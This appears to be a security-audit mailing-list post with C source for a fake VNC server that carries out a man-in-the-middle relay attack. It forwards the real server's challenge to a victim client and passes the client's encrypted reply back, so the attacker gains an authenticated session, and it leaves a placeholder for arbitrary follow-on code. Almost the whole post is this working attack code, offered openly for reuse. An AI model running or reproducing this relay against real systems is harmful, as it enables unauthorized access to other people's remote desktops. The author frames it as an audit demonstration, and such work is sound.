This is one piece of code I used in a security audit. 

In it, we got to fake entries in the DNS server of the machines
accessing one VNC server (inside the audited internal network), so I
just wrote this little troyan to demonstrate how we could bypass the
challenge - response mecanism imposed by VNC to protect password from
being sniffed.

I hope it can be useful for someone X-)


#include <netinet/in.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>

#define VNCPORT 5900
#define VNCSERVER "x.x.x.x"
#define QUEUE 8
#define BUFSIZ 512

typedef char rfbProtocolVersionMsg[13];
#define sz_rfbProtocolVersionMsg 12

int main (int argc, char **argv) {

  int sockfd, clientfd, vncfd;
  int nbytes = 0;
  struct sockaddr_in server, client, vnc;
  int len = sizeof (client);
  char buf [BUFSIZ];
  
  if ( (sockfd = socket (AF_INET, SOCK_STREAM, 0) ) == -1) {
    perror ("socket");
    exit (-1);
  }

  bzero (&server, sizeof (server) );
  server.sin_family = AF_INET;
  server.sin_addr.s_addr = htonl (INADDR_ANY);
  server.sin_port = htons (VNCPORT);
  
  /* this is the fake VNC server */
  if (bind (sockfd, (struct sockaddr *) &server, 
        sizeof (server) ) == -1) {
    perror ("bind");
    exit (-1);
  }

  listen (sockfd, QUEUE);

  if ( (clientfd = accept (sockfd, 
        (struct sockaddr *) &client, &len) ) == -1) {
    perror ("accept");
    exit (-1);
  }

  strcpy (buf, "RFB 003.003\n");
  
  /* we must send VNC version number (from protocol) */
  if (write (clientfd, buf, strlen (buf) ) < strlen (buf) ) {
    perror ("write");
    exit (-1);
  }

  /* we also must read VNC version number (from protocol) */
  if ( (nbytes = read (clientfd, buf, BUFSIZ) ) <= 0) {
    perror ("read");
    exit (-1);
  }

  buf [nbytes] = 0;
  printf ("version -> %s\n", buf);
  
  buf [0] = 0x00;
  buf [1] = 0x00;
  buf [2] = 0x00;
  buf [3] = 0x02;

  /* we send the authentication method code to the client */
  if (write (clientfd, buf, 4) < 4) {
    perror ("write");
    exit (-1);
  }
  
  if ( (vncfd = socket (AF_INET, SOCK_STREAM, 0) ) == -1) {
    perror ("socket");
    exit (-1);
  }

  bzero (&vnc, sizeof (vnc) );
  vnc.sin_family = AF_INET;
  vnc.sin_addr.s_addr = inet_addr (VNCSERVER);
  vnc.sin_port = htons (VNCPORT);

  /* we connect to the real VNC server */
  if (connect (vncfd, (struct sockaddr *) &vnc, 
        sizeof (vnc) ) == -1) {
    perror ("connect");
    exit (-1);
  }

  /* again, we read version number from the VNC server */
  if ( (nbytes = read (vncfd, buf, BUFSIZ) ) <= 0) {
    perror ("read");
    exit (-1);
  }

  strcpy (buf, "RFB 003.003\n");
  
  /* and we send ours */
  if (write (vncfd, buf, strlen (buf) ) < strlen (buf) ) {
    perror ("write");
    exit (-1);
  }

  /* we now read authenticarion method code from VNC server */
  if ( (nbytes = read (vncfd, buf, BUFSIZ) ) <= 0) {
    perror ("read");
    exit (-1);
  }

  /* here is the challenge from server */
  if ( (nbytes = read (vncfd, buf, BUFSIZ) ) <= 0) {
    perror ("read");
    exit (-1);
  }
  
  /* we send the challenge to the victim client */
  if (write (clientfd, buf, 16) < 16) {
    perror ("write");
    exit (-1);
  } 

  /* we have the encrypted password from the client */
  if ( (nbytes = read (clientfd, buf, BUFSIZ) ) <= 0) {
    perror ("read");
    exit (-1);
  }

  /* we send the encrypted password to the VNC server */
  if (write (vncfd, buf, 16) < 16) {
    perror ("write");
    exit (-1);
  } 

  /* we read the result from the authentication process */
  if (read (vncfd, buf, BUFSIZ) < 4) {
    perror ("read");
    exit (-1);
  }

  /* at this point we should be authenticated */
        /* place whatever code you want here */

  close (clientfd);
  close (sockfd);
  close (vncfd);

  return 0;
}



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Rafael San Miguel Carrasco
rsmc@tid.es

Division de Infraestructura y Seguridad en Redes IP
Telefonica I+D

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